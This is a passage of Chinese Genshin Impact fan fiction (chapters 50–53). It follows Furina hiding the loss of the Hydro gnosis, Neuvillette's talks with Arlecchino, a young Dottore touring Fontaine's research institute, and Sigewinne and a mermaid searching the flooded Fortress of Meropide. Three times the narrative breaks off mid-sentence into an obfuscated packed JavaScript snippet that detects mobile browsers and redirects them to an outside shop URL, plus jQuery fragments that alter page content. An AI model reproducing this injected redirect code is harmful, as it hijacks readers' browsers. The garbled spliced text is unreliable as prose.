莱欧斯利瞧着他一副“你快走”的赶人样儿,长长地“啧”了一声,“成,那我就先走了,不打扰你们二人密谈了。” 对于他挑明了自己的意图,但很痛快地应下,毫不拖泥带水,那维莱特略感无奈。 待莱欧斯利出去,沉重的木门重新合上,屋内又慢慢升腾起了一股压抑的气氛。 那维莱特喝了一口已经凉了的茶,尽可能地放柔语气,试探道:“芙宁娜,就原始胎海水的问题,我觉得我们需要好好谈谈。” 这一回,从态度上,芙宁娜没有再选择逃避这个问题了,但她仍旧低着头,避开那维莱特的视线回道:“我不知道能谈什么。” “我想知道,你有没有控制原始胎海水的权能。”那维莱特开门见山道。 “没有。”芙宁娜道,“原始胎海之水,是上一代水神的遗留问题,我一开始甚至不知道这件事。” “她没有同你留过什么话吗?” “她留给我的全部信息,就是枫丹的预言。但是我一开始并没有将其放在心上,你我相处五百余年,你应该有所察觉才是。” “是的。”那维莱特道,“的确是从今年年初开始,具体时间好似是……在一则海平面对比去年上涨一米的报道过后,你开始持续关注海平面的上涨情况,和每一次降雨情况。” “对,当时我都没有很在意这一点。直到我发现海平面的上升速度在持续变快,去年一整年上升一米,平均两个月上涨十六点六厘米。” “但是今年二三两个月月,涨了二十厘米;四五两月月,涨了二十四厘米;六月至今,已经有二十七厘米的涨幅。” “加上最近发生了这么多事,我才慢慢相信了枫丹的预言。” “你身为水神,无法调动水元素的权柄吗?”那维莱特奇怪道。 “我……”芙宁娜张了张口,犹豫了许久,才低喃道,“水神之心不在了。” 那维莱特:“……” “是怎么,不在了的?”他平复好心情后,追问道。 “众所周知,我创造了谕示裁定书机。”芙宁娜眼睛一闭,干巴巴道,“它是用水神之心建造的,在建造完成之后,水神之心就从我收好的盒子里面消失了。” “但是你说你并不清楚谕示裁定书机的运转?” “因为是我用,水神之心造的,不是我造的。”芙宁娜抿着嘴唇道,“也就是水神之心消失之后,我就发现,我用不了水元素力了。” 那维莱特:“……” 他直觉感觉芙宁娜的解释哪里怪怪的,但是神之心确实是七神权能的重要体现。就单看他知道的消息,风的国度蒙德,风神之心被愚人众抢走后风神不知所踪;岩国璃月,在帝君逝去神之心被窃后,摩拉工厂就此停工;雷之稻妻的神之心,则重塑出了一位伪神。与之对比,须弥的神之心维系着虚空终端,是一项不可思议,非人力可以实现的技术;纳塔火地的神之心,则拥有让人类比肩神明的力量;至冬更不用说了,十一位被冰之女皇赋予超越凡人之力的执行官…… 如此细细想来,审判正确率百分之一百的谕示裁定书机,也是一种“不可能”的非常之物。 所以,芙宁娜说她用水神之心创造了谕示裁定书机,是合理的。 而支撑谕示裁定书机正常运转的,应该就是这枚凭空消失的水神之心。 所思至此,那维莱特倍感无奈,“水神之心应该在谕示裁定书机之中,而水之权能在你身上。你想想办法,看能不能将水神之心从谕示裁定书机里取出来。” “好的。”芙宁娜如同小鸡啄米一般,连连点头。 “尽力、尽快、尽职。” “明白,我明白的。” “对了,这件事你别往外面说。”芙宁娜一把拉住那维莱特,“天知地知,你知我知。” “说出去,我堂堂一代水神,把神之心弄不在了,实在是……太丢脸了!”她很快松开手,掩面小声嘀咕道。 那维莱特道:“嗯,我答应你。” “好!那就先这样。”芙宁娜一口饮尽凉透了的茶,放下杯子,起身说道,“你快去会见「仆人」,我吃个早餐,然后就去歌剧院,看看谕示裁定书机。” 那维莱特点点头,起身离开了水神休息室。 在大门合上的一瞬间,芙宁娜脸上的笑意荡然无存。 她身子一软,跌坐到沙发力,四肢发虚,没有一点力气。 她没想到那维莱特居然相信了她情急之下,随口编出来的说辞。 但是,还好,还好这次也瞒过去了。 差一点,她真的只差一点点,就撑不住了。 这样的日子,究竟什么时候,才是个头…… 芙宁娜捂住脸,蜷缩起身子,躺在沙发上。 不知道过了多久,屋外响起了一阵敲门声。 她翻身坐起来,抽了两张纸胡乱在脸上抹了抹,擦去泪痕,然后将纸丢到垃圾桶里,端起杯子,又清了清嗓子,“进。” “芙宁娜大人,让您久等了。”塞勒洛斯走进来,摘下黑袍,随口挂在门口衣架上。 接着,他走到芙宁娜身后,俯身道,“我先后去了歌剧院和‘法图纳号’。昨夜之事,梅洛彼得堡合计伤者五十七人,均为撤离时拥挤踩踏所至,暂无死者,失踪新入狱的执行官「公子」一人。” 闻言,芙宁娜长舒了一口气,“辛苦你了。” 随即,她如释重负,脚步轻快地走到窗前,望着外面艳丽的景色,忽然明白了莱欧斯利之前和那维莱特说的话。 “人类的生命,很短。” 所以,前因是什么,在解决问题面前,显得并没有那么重要。 人类,大多都只看中结果。 51.Chapter 51 7.27 Saturday 下午葱葱 人类,大多只看中结果不假。 但是,对于同样重结果的「仆人」来说,得到这个结果的过程也在她的评价体系之中占据一席之地。 就好比现在…… 「公子」入狱是结果,「博士」与「公子」合谋,在不顾两国外交也未曾与她通气的情况下,刻意深入梅洛彼得堡是过程。 而之后,「公子」在梅洛彼得堡失踪是结果,那维莱特针对这个问题,没有分毫隐瞒地,主动提出与她会面,并安排时间会谈是过程。 “我身为一名枫丹人,出于对最高审判官的敬意与信任,同时基于我与公爵阁下的一面之缘,我相信枫丹方面对于「公子」失踪的不知情与无奈。”「仆人」缓缓放下茶杯道。 “但归根究底,这仍然是一起重大的外交事件。希望枫丹方面可以尽快给至冬一个调查结果。” 那维莱特点头:“自然,莱欧斯利昨天下午,就已经在着手调查了。” “如此甚好。”「仆人」双手五指交叠,手肘搭在椅子的扶手上,以一个极富压迫感的姿态道,“还有一事,我左思右想仍倍感不解,希望借此机会,那维莱特先生能为我解惑。” “请讲。”那维莱特展手礼道。 “关于谕示裁定枢机,为何会判在案发之后且是初次来到枫丹的「公子」有罪?” 紧接着「仆人」见那维莱特的眉峰渐渐蹙起,露出一副稍显为难的表情,便笑了笑,接续道:“为了避免两国外交事态升级,我想这个问题的答案,至冬有权知道。” 听她这么说,那维莱特敛眉沉思了半响,才屈指轻扣桌面,娓娓道来:“谕示裁定枢机应是由水神之心驱动的装置,它的审判标准,我无从得知。但从它诞生至今,在这五百余年的时间里,大小数以万计的案件,从未有过错判的先例。由此,在排除「公子」与舞台失踪案的直接关系之后,我初步做出了三个推测。” 「仆人」微微一偏头,好整以暇地等那维莱特继续说下去。 “其一,「公子」因为愚人众的身份,受同为愚人众的林尼牵连,被谕示裁定枢机认定为‘同犯’,从而得出‘有罪’的判决。”那维莱特道,“但是出现这种情况的概率不高。” “其二,「公子」与林尼舞台失踪案的死者,也就是被原始胎海水溶解的第十一排十四号座位的观众,有直接联系,且在一定程度上助推了他的死亡。举例的话,大概是对抽取号码的魔术箱动了手脚,或者让死者买下第十一排十四号这个死亡座位之类。” “嗯……”「仆人」想了想,否决道,“据我所知,我是「公子」认识的唯一一位枫丹人。” “如此一来,只剩我觉得概率不大,但无法排除的一项。”那维莱特道,“「公子」与原始胎海水有关。” 「仆人」沉吟道:“你是说「公子」可能参与了「博士」的实验?” “非也。” “不可能。” 两人几乎同时出言否定道。 两人听见对方语气中的确信,又同时一愣 “「公子」与「博士」几乎没有交集,我能肯定。”「仆人」率先回过神,半眯双眼,“倒是那维莱特先生,你是基于什么基础,得出的如此判断?” “……”那维莱特迟疑道,“他们二人在审判席上给我的感觉,并不像是熟悉的同僚关系。” 「仆人」:“……” 面对他这明显避重就轻,而且是在她的回答之上,取义修饰过后,转换表述的有选择性的回答,「仆人」可以断定,在「公子」的问题上,那维莱特一定隐瞒了什么。 “呵呵。”「仆人」唇角勾起一抹清浅的笑容,“现在看来,这可真是一个值得深究的问题。” 与此同时,新枫丹科学院内,芙宁娜的嘴角狠狠抽了几下,“这是一个值得深究的问题?” 站在她对面的「博士」十分认真地微点下颌,“是的,芙宁娜女士。你需要给出我一个具体的理由,为何邀请我前来参观新枫丹科学院。” “同时,还需要回答我,你是如何找到我的。” 芙宁娜抬手捂住额头,再一次给出了她的回答:“我已经说了很多次了,枫丹希望能与至冬开展一次科研学术交流活动,所以先邀请你过来。一为商议具体事项;二为实地踩踩点。至于怎么找到你的……” 她侧身,露出站在她身后的塞勒洛斯,“他追踪到了你的气味,然后顺藤摸瓜,就找到了你的实验室。” “嗯,芙宁娜女士,我认同你的出发点,但我对于你的解释并不能完全相信。”「博士」眼皮一掀,扫了一眼塞勒洛斯,补充道,“无论是邀请我的理由,还是找到我的方法。” 芙宁娜深深吸了一口气,觉得她快要崩溃了! 比起这一位「博士」,她更愿意同离开枫丹的那一位「博士」交流。 眼前这个,明显比离开的「博士」年轻太多了,估摸着也就二十出头,甚至十八十九的年纪。 针对“为什么邀请”和“怎么找到他”这两个问题,他们已经在新枫丹科学院的大门口,扯了快二十分钟了! 望着这个抱着手,站得笔直的“学术愣头青”,芙宁娜身心俱疲。 半响,她顶着「博士」探究的目光,暮气沉沉地抬手,指向新枫丹科学院已经打开了许久的大门,“我就问你一句话。” “你到底进不进去?” 「博士」眼瞅瞅里面,又偏头看了看“绑架”他来的“强盗”二人组,犹豫了许久,终究是渴望打败了畏惧,才十分不情愿地从鼻子里出气,轻轻哼唧了一声。 芙宁娜:“……” 她拳头紧了,早知道这位少年「博士」吃硬不吃软,她就不和他废话,直接让塞勒洛斯把他拖进去算了。 稍微缓了缓心底的火气,她领着「博士」进到新枫丹科学院中。 “枫丹的科学,依托于荒芒两种特殊的属性,就如同电池的正负两极,璃月仙法的阴阳两极……” 芙宁娜走在前头,叭叭给落她一步的「博士」介绍起了枫丹的科学。待她将昨日整理,今早修改完善的稿子一通背完,回头一看,只见「博士」落她身后老远,正爬在一面玻璃窗前,全神贯注地勾着头,不知道在看什么。 不开玩笑,她现在是真的很想给他一拳! 芙宁娜压着火气,绝对不是因为她打不过「博士」,忍了又忍,调整好心态之后,走了回去,“你在看什么?” “这一间,是在做什么实验?”「博士」用指腹点了点玻璃,侧目问道。 芙宁娜:“……” 开什么国际玩笑,她又不是实验人员,她怎么会知道啊? “塞勒洛斯,你去找一下负责人。” 两人等了约莫十多分钟,塞勒洛斯跑腿回来了,他身后数十步开外,还跟着一位圆滚滚的穿着白大褂的管理人员。 “芙宁娜大人,您的亲临视察,真是新枫丹科学院的荣幸……” “好了。什么场面话、客套话、恭维话就不用啰嗦了。”芙宁娜立掌制止了他,“这里在做什么实验?” 管理人员瞥了眼玻璃房外悬挂的木牌,笑眯着眼,殷切道:“回芙宁娜大人,是艾德温·伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042897|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯丁豪斯研究员的课题。” “有关降低满载装置‘始基动能核心’所需的荒芒湮灭能消耗,从而驱动场力发生装置的科室。” 芙宁娜:“……” 「博士」:“……” 说完,管理人员瞧着两人茫然的表情,笑得有些许尴尬,“额,通俗来说,就是这一个房间,正在进行减少大转盘能耗的实验。” “场力发生装置,大转盘……”「博士」喃喃自语了片刻,抬眼问道,“可以改变空气重力,从而实现地面浮到天空中的那个装置?” “是的是的。”碍于管理人员的体型,他每一下点头的动作,都不是很明显,“现阶段场力发生装置需要的……” “哎?”他突然顿住,转眸望着芙宁娜,“这位阁下是?” “至冬愚人众执行官第二席,在科研界声名赫赫的「博士」先生。” “嗷,久仰久仰,「博士」先生看上起好生青年,真是自古英雄出少年,后生可畏后生可畏啊。”管理人员笑道,“如果「博士」先生对这个研究感兴趣,我们可以进去参观的。” “无须……” “可以的。” 「博士」和芙宁娜同时开口道。 枫丹人水下避难不成,就妄想上天的想法,消磨了「博士」对这项实验的所有兴致,甚至对这样的实验出发点嗤之以鼻。 而芙宁娜则是抱着能拖就拖,能磨就磨,说不定多看看,「博士」就对这个感兴趣了的态度。 意见相左的两人视线凭空对上,僵持片刻后,芙宁娜妥协,对着管理人员说道:“劳烦你带路,为我们大概讲解一下科学院现在正在进行的一些项目。” “好的,两位请随我来……” “这里是机械动能的研究……这是水下能源……这是我们枫丹最引以为傲的隔水技术……” “不好意思,打断一下。”「博士」下巴一扬,冲着面前的实验室饶有兴味地点了一下,“我想具体且详细的了解一下枫丹的隔水技术,可以吗?” 终于…… 芙宁娜心里大大松了一口气,面上延续先前的不耐,仍旧垮着脸,淡淡地“哼”了一声。 圆润的管理人员得了指示,连忙从后腰摸出一串钥匙,精准地翻出一把,插入钥匙孔,旋开了厚重的实验室隔离门。 “芙宁娜女士、「博士」先生,请。” “你去吧,我不懂这些,就不进去了。”芙宁娜往后退了一步,撇眼示意塞勒洛斯跟着「博士」进去,时刻盯着他。 于是乎,管理人员带着「博士」和塞勒洛斯进了实验室。芙宁娜站在玻璃窗前,望着三人的身影渐渐远去。 而同一时刻,在距离新枫丹科学院不远处的海域上,莱欧斯利正站在“法图纳号”船头,垂目望着希格雯和伊芮娅的身影没入海水之中。 昨日,他从科学院借来了几台水下勘测仪,随即安排人手穿上潜水服,将仪器布置在梅洛彼得堡周围。 而后通过远程操纵,让勘测仪器代替人力,去探查对枫丹人来说,满是杀器的梅洛彼得堡。 五人一岗,隔一小时轮岗一班,搜查了半个白天加上一个晚上,都没有什么收获。 直到今早,有一台勘测仪无故被毁,其余四台顺着信号消失的地方寻去,其中有一台仪器的镜头拍摄到一个深紫色的人影一闪而后,没等操控人员扭转视角确认,余下四台仪器也丢了信号。 面对如此情况,莱欧斯利做出了一个决定。 让不畏惧原始胎海水的希格雯,和体型较小且有源水之滴护身的伊芮娅,下水摸过去,探查一二。 52.Chapter 52 7.27 Saturday 傍晚烟橙 由千万道光束汇聚而成的暖橙日光,悠哉自得地洒在海面之上,照得海面波光粼粼,似有众多星星点点的金箔浮在水面,为蔚蓝的海添妆着色。 就算是临近傍晚退潮,夏天的海,也依旧是暖洋洋的。 希格雯两只小爪子抱着源水之滴,带着已经恢复了些精气神的伊芮娅慢慢地靠近梅洛彼得堡。 “我们要穿过隔水屏障了。”她微微翻转手肘,对着扣在手臂上方的同音摄像器说道。 很快,同音摄像器臂环上的绿色显示灯亮了三下。 这是他们约定好的,可以继续行动的信号。 希格雯猫着身子,缓缓穿过隔水屏障,顺利进入了充满原始胎海水的梅洛彼得堡内部。 进来,只是第一步,也是最简单的一步。 接下来,沿着规划好的最近路线,寻到勘测仪器信号消失的地段,才算她们的挑战正式开始。 希格雯平稳地在胎海水中游动。 说来也是奇怪,或许有伊芮娅相伴,她不是独自行动,有或是来的是梅洛彼得堡,这个她呆了百载的“家”。从进来起,她分毫没有感受到她自己出现害怕、慌张、无措的情绪。 她只觉得此刻的梅洛彼得堡里很静,从前从未有过的安静。 要知道,梅洛彼得堡里多是铁片钢板,就算是晚上休息时间,没有生产区里“叮叮咚咚”的锻造声,也没有特许餐厅“噼啪噼啪”的燃火声,但警卫监守轮班轮岗对出入口巡视所发出的踏步声,可是昼夜不停。 而此时此刻,整一个梅洛彼得堡里,连水的自然流动都仿佛被按下了暂停键,就更别说水流所发出的冲刷撞击声了。 一路深入,在臂环上的电子计时器跳动到三十二分钟四十六秒之时,希格雯到达了距离勘测仪器信号消失不足十米的地方。 臂环闪了两下红灯。 见希格雯在观察前方,没有注意到莱欧斯利的信号,伊芮娅赶忙小声道:“停停停呀!” 闻言,希格雯下意识低头,刚好看见红灯又闪了两次。于是她左右看了看,飞快游向斜上方的通风管道。 通风管道的大小,仿佛是为她量身定做一般,刚好够她蜷缩起身子藏进去。 “你看那里。”伊芮娅从源水之滴里钻出来,指向西北方向,“那是不是一个被毁了的勘测仪器。” 西北方向,一台变成左右两半的勘测仪器,倒在一堆铁矿石中间。 希格雯定睛看了一会,肯定道:“是的,而且看机械身上未被挡住露出的两个编号,应该是首先被毁的那台。” 说着,她伸手,微调了一下臂环摄像头的角度,确保镜头对准已经报废了的勘测仪器。 “切口很平整。”希格雯从怀里摸出一个小型望远镜,就地分析道,“应该是被利器,诸如刀剑一类,直接从仪器的中间,被劈成了两半。” “伊芮娅,我们先在这里潜伏一会,等确认四周安全,再摸过去。”希格雯抿唇道,“希望里面的记录芯片还没有损坏。” 于是乎,美露莘和小人鱼藏在通风管里,用望远镜将入目可见之处都仔仔细细地扫视了一遍,才跃出通风管,到报废的勘测仪器前。 希格雯在勘测仪器附近找了个地面凹陷处,放下源水之滴,让小人鱼从里面游出来。 四周充斥着的原始胎海水对伊芮娅来说,像是密度更高一些,且略显粘稠的负压深海水。它的游动速度会比它在平常海水里略慢一些,同时碍于它和美露莘之间的体型差距,希格雯每划水往前游几下,就要停下来,等等它。 她们游到一号报废的勘测仪器边,希格雯用力掰开仪器的铁皮外壳,方便小人鱼从空隙中转进去,找到控制中枢,按着机械工程师教它的,将里面插着的记录芯片拔了下来。 希格雯接过伊芮娅双手环抱,护在胸前的芯片,将它放入自己的爱心小挎包中,贴身收好之后,转身游回去抱起被临时放在地上的源水之滴,让伊芮娅回去休息。 “我们继续往前咯。” “咿呀!”小人鱼翘了翘尾巴。 希格雯用手肘夹住源水之滴,右手扶着墙壁,沿着边线向前行进了约莫二十米左右,伊芮娅远远瞧见了三个勘测仪器的“残躯”。 “前面有三个!” 希格雯“嗯”了一声,四肢摆动速度加快了些。不一会儿,就赶到了废弃现场。 希格雯和伊芮娅躲在掩体后面,探头探脑地看了半天,在确认过没有危险之后,两人上前查看。 入目只见,异常坚固的梅洛彼得堡的墙壁上出现多处凹陷。伊芮娅发现的三个勘探仪器,二号碎成零件,尸块在路面的正中间散落满地;三号倒靠在墙角,它的上方出现了一道很深的拖痕;四号则焊在了墙上的凹陷处中,几乎整一个仪器机身都凹陷了下去。 希格雯观察了半响,说道:“根据现场的痕迹分析,这里发生了一场很激烈的战斗。” “二号仪器像是被用来格挡,从而导致正面受到攻击,机身粉碎。三号应是在打斗过程中被攻击带波及,甩飞到墙面上,然后滑落在地。至于四号……” 希格雯游到凹陷处,用手指做尺,大概测量了上下左右四个方位的凹陷深度,“首先看四号位深坑中心偏左下的位置上,再结合四周的撞击深度,可以得出四号仪器应该是被撞击的时候带到了。” “这里~”伊芮娅突然伸手指向仪器上方的提手。 希格雯偏眸望过去,只见上面印着一只人手形状的焦黑掌印。 “不太像是火烧焦的。”希格雯思索片刻道,“或许是……雷击?” “人手,是公子嘛?”伊芮娅偏头疑。 “但,我怎么记得「公子」挂在身上的,是水元素神之眼啊。” “所以除了「公子」以外,这里还有其它人?” 伊芮娅点了点头,表示认同,随后它抬手指向天花板。 希格雯顺着它手指的方向仰头看去,发现天花板上隐隐约约印出一个人形的凹陷。希格雯浮上去,阖眸感受。 浅蓝色的,半透明的元素力渐渐汇聚在她的眼前。 “很浓郁的水元素力。但是……不太纯粹,好像里面还混了一部分雷元素的气息。” 伊芮娅两只小爪子一挥,“所以,水和雷哐哐打,里面可能有公子。” “应该是这样,我已经把这些全部都拍下来了。”希格雯边往下游,边同伊芮娅说,“我们先去取记忆芯片,然后在附近找找第五个勘测仪器,之后差不多就往回走了?” “咿呀!”伊芮娅点点头。 临行之前,莱欧斯利可谓是千叮咛,万嘱咐,让她们务必注意自身安全,一有收获不要贪心冒进,立刻折返。 和先前一般,希格雯和伊芮娅合力抠下所有芯片,收好后继续往前探查。 过了将近一个小时,两人向前摸索了近乎百米的距离,但仍就一无所获。 “回呀?”伊芮娅从源水之滴里钻出来,甩着尾巴拍了拍希格雯。 “……”希格雯迟疑片刻,点了点头,“那今天就先到这里吧。” 在她们交谈间,希格雯臂环上的红灯也闪了三次。 这是她们与莱欧斯利约定好的撤退信号。 就在希格雯抱着伊芮娅撤到她们最一开始,找到一号勘测仪器的地方时,地面蓦然了传来一声巨响。 希格雯和伊芮娅齐齐一愣。 “我们下去看看?”希格雯下意识问道。 伊芮娅探出脑袋,摇晃了两下,“不呀,该回去。” “可是这个幅度与强度的震荡,很不寻常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049299|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要回去。” 希格雯又道:“勘测仪器在损坏之前,就没有拍摄到什么有用的画面。记忆芯片有没有用都尚未可知,眼下是一个很好的探查机会。” “约定了,回去。” 就在两人交谈之际,梅洛彼得堡的外壁又狠狠地抖了数下。 她们的位置现在位于梅洛彼得堡第三层,希格雯推断发生震动的源头,应该位于第五层。她想深入往下探查,但伊芮娅挡在她前面一直拦着她,主张要遵守莱欧斯利与他们的约定。 而希格雯带着的臂环,从她们停下开始,上面的红色信号灯就在不停闪烁。 最后,希格雯重重吐出一口气,妥协了,恋恋不舍地回望了一眼,按照进来的时的路线,原路返回。 她们穿梭在绵延不断地震颤中,将行至出口,不料意外就此发生。 一个巨大的漩涡突然出现在梅洛彼得堡里面,以极强的吸力,扯住了希格雯。 下一瞬,一股水流从中飞出,直直冲向希格雯,将她掀飞。 这一刻,希格雯突然明白了这些个勘测仪器,都是怎么失灵损坏的。 而她砸到隔水屏障上,由撞击所带来的巨痛,让她下意识松开了手。 失去固定的源水之滴,随着水流飘了一小截。 就在希格雯忍着疼,往前游,想把源水之滴追回来时,就如同潮涨潮落一般,向她袭来的水流退了回去。 而源水之滴,被这么被退回的水流,裹在里面卷走了。 这股水,帮助她脱离了漩涡的吸力范围,但也抢走了伊芮娅。 希格雯面色一沉,刚想追上去,却猛然想起伊芮娅也不怕原始胎海水,而且这是源水之滴,是那维莱特亲手凝练出来的源水之滴,伊芮娅呆在里面很安全。 在计划里,有一项备案也是依托伊芮娅体型小的特点,可以在保证安全的情况下,对梅洛彼得堡深入探索。可她身上还带着记忆芯片,虽说当时看勘测仪器的同步画面时,没有发现什么。但因为延迟的存在,里面是否真的有一些隐藏信息或者涉密信息,她不得而知。并且,她们这回下来最主要的目的,就是找到尽可能多的,找会记忆芯片。 就在她两相为难时,她想听听莱欧斯利的意见。连通“法图纳号”,莱欧斯利在水上,可以在有一定延迟的情况下,看到水下的画面。然而她一垂眸,却发现栓在手臂上的臂环没在了。 原来,在源水之滴被往回退的水流卷走之时,伊芮娅眼疾手快地从源水之滴里够出一只手,一把扯下了臂环。 而那时希格雯的心神,完全被后面背脊上的伤吸引了,没有注意到手臂上衣服袖子陡然一松的臂环崩断感。 就此分析,当时如果伊芮娅想逃,完全可以从源水之滴里游出来,然后揪住希格雯的衣服。 而现在,伊芮娅选择了取下臂环,拿着它,继续缩在源水之滴中。如此来看,它的目的就只有一个,那便是借无坚不摧、牢不可破的源水之滴,深入下层,带着同步摄像机,去看一看下面究竟是些什么人在装神弄鬼,或者偷偷趁此机会干些什么见不得人的事。 想到这里,希格雯毫不犹豫地穿过隔水屏障,一头扎入深海,向“法图纳号”的停泊处游去。 她打算尽快把记忆芯片送回去,然后再折头回来,去找伊芮娅。 与此同时,被水流卷回去的伊芮娅,也到了“终点”。 在蔚蓝色、莹粉色、流沙紫的天幕之下,一个橘色头发的人,正曲着腿,埋头捣鼓着她们没有找到的最后一个勘测仪器。 这个人与伊芮娅见过的「公子」很像,但又不太一样。他周身环绕着墨紫色的电光,气息也更为混浊。 他很快注意到地面上多出来的一颗珠子,捏着一根长金属棍,展臂将它扒拉了过来,拿起来。 “嗯?这是什么?” 53.Chapter 53 7.27 Saturday 傍晚波鳞 坐在天幕下的那人,很快注意到地面上多出来一颗珠子,便顺水拿起勘测仪器身上的一根长金属棍,展臂将它扒拉了过来。 “嗯?这是什么?” 他五指分开,托着源水之滴挪到眼前,举高又放低,上上下下观察了一圈。 半响之后,他得出了结论:有点眼熟,好像在哪里见过。 但是具体在哪呢? 他想了片刻,没理出头绪,手指用力,将源水之滴向皮球一样往上抛了几下,又晃了晃,见它始终没有什么反应,索性反手将其丢到了一边。 想不起来就算了,他都记不得的,不会是什么重要的东西。何况这里除了他自己以外根本没有人,丢了就丢了,等想起来再折头回去找便是。 对比他这般看得很开的态度,缩在源水之滴中的伊芮娅的心情可就没有那么美好了。 它如丧考妣的阴沉着脸,尾巴暴躁地一甩一甩。 虽说高空坠落这一套流程它已经很熟悉了,但是被人捡起来,再丢掉还是头一遭。 天知道,在他抬着源水之滴左看右看的时候,它借机看清看全了他的五官,在脑海中与有过一面之缘的「公子」对上号。 「公子」虽说是至冬愚人众,且与「博士」可能有些什么见不得人的勾当,但他好歹是人,是认识它,也认识那维莱特的人。 退一步说,它对「博士」或多或少吧,都还算有研究价值,「公子」没有道理伤害它。 再退一步说,它是那维莱特的人,它在梅洛彼得堡失踪,那维莱特应该很快就会知晓,出于枫丹和至冬两国外交方面的考量,「公子」想对它下手,都需要细细掂量,万分斟酌。 于是伊芮娅正欢喜着,打算从源水之滴上部探出头,和「公子」打个招呼的时候,「公子」反手,分毫不见犹豫与迟疑的就把它给甩了。 是的,甩了…… 源水之滴落在地上,“砰砰砰”,连滚带跳,一下子滚了数十米开外。 伊芮娅趴在球壁上,按照它在地面上的移动速度,和全力喊叫的声音大概能传多远,浅浅估算了一下它到「公子」之间的距离。毫无疑问,这一甩,给它干成了地狱难度。 小人鱼一摆尾巴,身体弯成一只大虾,虚虚靠着球壁,摆烂了。 左右它在源水之滴里没有什么威胁,还是等「公子」想起它,或者直接等那维莱特过来吧。 就这么一晃眼功夫,在“法图纳号”上,那维莱特负手立在甲板上,垂眸望着希格雯将找到的记忆芯片交给科研人员。 “哎,你都不担心那个小家伙的吗?”莱欧斯利抱着手站在他身侧,胳膊肘轻轻碰了他一下,问道。 那维莱特“嗯”了一声,“我方才收到消息就已经感应过了,伊芮娅尚在源水之滴中,里面很安全。” “那就好。对了……”说着,莱欧斯利眸光扫过正安安静静站在一边的菲米尼,“他是你问「仆人」要来的?” “梅洛彼得堡事件尚未公开,若是调动沫芒宫下属各部的人手过来,恐人多口杂,走漏了风声。”那维莱特解释道,“菲米尼对潜水很有研究,且碍于「公子」的失踪,「仆人」也知晓此事。让他过来协助调查,目前来说是最为合适的选择。” “但他是枫丹人,你确定他能下到有原始胎海水的梅洛彼得堡?”莱欧斯利挑眉又问。 “我会一同下去。”那维莱特话音微顿,仰头望了望天色,随后走到研究员旁边,问道,“记忆芯片弄好了吗?” 得到肯定答复后,他微微偏头,“希格雯,身体有没有不舒服,或者出现其他情况?” 希格雯摇头。 “我们再下水,去一趟梅洛彼得堡,可以吗?” “好的,那维莱特大人。”希格雯忙不迭点点头,“我担心伊芮娅,正想再下去一次。” “嗯,麻烦你带路在前。”语罢,那维莱特指尖微动,凝聚出一个大号源水之滴。 “菲米尼,它可以隔绝原始胎海水,等我们进入梅洛彼得堡你用得上。” 菲米尼垂下头,齐刘海遮挡住双眼,十分不好意思地小声说了声“谢谢”。 一旁专注工作的研究员得知他们要入水的消息,连忙抱起手头上正在修缮的仪器,小跑过来。 “等等,那维莱特大人!” “怎么了?” 研究员抿了抿唇,难为情道:“那维莱特大人,你们可以稍等我们片刻吗?” 另一位女性研究员补充道:“我们马上就可以改良好新一代的勘测仪器,现在水下……情况特殊,所以想请那维莱特大人帮忙带下去。” “大概需要多久?” “半个小时,不,不不不,一刻钟就够了,大部分都已经改装好了,只差最后的组装收尾工作。” 那维莱特犹豫片刻后,答应了他们。 说来也是巧极。水上的研究员在组装勘测设备,水下的「公子」也正抱着破损的勘测走地机埋头一通捣鼓。 这台勘测仪器损坏的其实不算严重,只不过是总能源短路,加上小部分传输线路因外力被切断。 按理来说,「公子」只用在一堆颜色全黑没有区分的线路,还有七拐八绕的排线中,重新接上断开的几股线,重新连通线路,这台勘测走地机就算是修好,可以正常运作了。 然而,理论是这样的,可实际操作起来,就难了,完全超出了他的知识范围。 于是,对此一窍不通的「公子」只能无奈采用穷举法,一根一根的试,但是断开的线有数十根,这要试到什么时候去。 终于,在「公子」第三十二次尝试宣告失败后,他放弃了。 他放下勘测走地机,重重叹了一口气,想靠这玩意与外界联系上,看来是不现实了。 如今,他只能另谋出路。 他正在脑海里想其他法子,就听见身侧传来了什么动静。 扭头一看,「公子」发现先前被他丢到一遍的蓝色珠子,正轱辘轱辘往他的方向滚过来。 他纤长的眼睫下压,审视着这个龟速向他挪来的未知物品。 只见在蓝珠子一侧,突兀的多出了一条银白色的尾巴,正上下一荡一荡,利用惯性带动珠子向前滚动。时不时,这条鱼尾还会张开尾鳍,撑着地面微调滚动的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128426|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓦然之间,「公子」灵光一现,想到他在哪见过这玩意了。 